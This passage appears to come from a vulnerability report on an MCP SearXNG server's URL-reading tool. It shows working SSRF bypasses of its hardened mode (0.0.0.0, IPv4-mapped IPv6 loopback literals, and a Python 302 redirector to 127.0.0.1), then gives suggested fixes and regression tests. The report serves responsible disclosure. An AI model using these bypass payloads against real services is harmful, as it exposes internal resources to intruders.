Details
Observed:
[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
4. PoC B: IPv4-mapped IPv6
sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py
python3 /tmp/poc_ipv4_mapped_ipv6.py
Observed:
[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
[poc] RESULT: BYPASS — sentinel returned
5. PoC C: redirect from a non-private first-hop address to loopback
This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.
sudo ip addr add 198.51.100.1/32 dev lo
cat > /tmp/redirector_public.py <<'PY'
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:6789/secret")
self.send_header("Content-Length", "0")
self.end_headers()
def log_message(self, *args, **kwargs):
pass
HTTPServer(("198.51.100.1", 6790), H).serve_forever()
PY
fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1
curl -sSL http://198.51.100.1:6790/jump
The curl sanity check should return the internal sentinel.
Now run the MCP request:
sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
/tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py
python3 /tmp/poc_redirect_public_to_loopback.py
Observed:
[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
[poc] RESULT: BYPASS — sentinel returned
Cleanup
fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true
Reproduction note
NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:
INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2
When grepping or matching the response, either match against the escaped form or normalize \_ back to _.
Expected behavior
When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:
- direct special-address literals;
- IPv4-mapped IPv6 literals;
- redirect chains;
- hostnames that resolve to private or internal addresses.
Actual behavior
With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:
http://0.0.0.0:6789/secret
http://[::ffff:127.0.0.1]:6789/secret
http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret
Suggested fix
A complete fix likely needs more than a connect-time DNS lookup guard.
Suggested changes:
- Re-validate every redirect hop. One option is to use
redirect: "manual"and apply the same URL policy to eachLocationbefore following it. - Treat
0.0.0.0/8and other IANA special-purpose ranges as internal/non-public. - Handle IPv4-mapped IPv6 after canonicalization, including forms such as
[::ffff:7f00:1]. - Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
- Add regression tests for:
- redirect to
127.0.0.1; 0.0.0.0;[::ffff:127.0.0.1];- hostname resolving to
127.0.0.1; - decimal IPv4 normalization remaining blocked.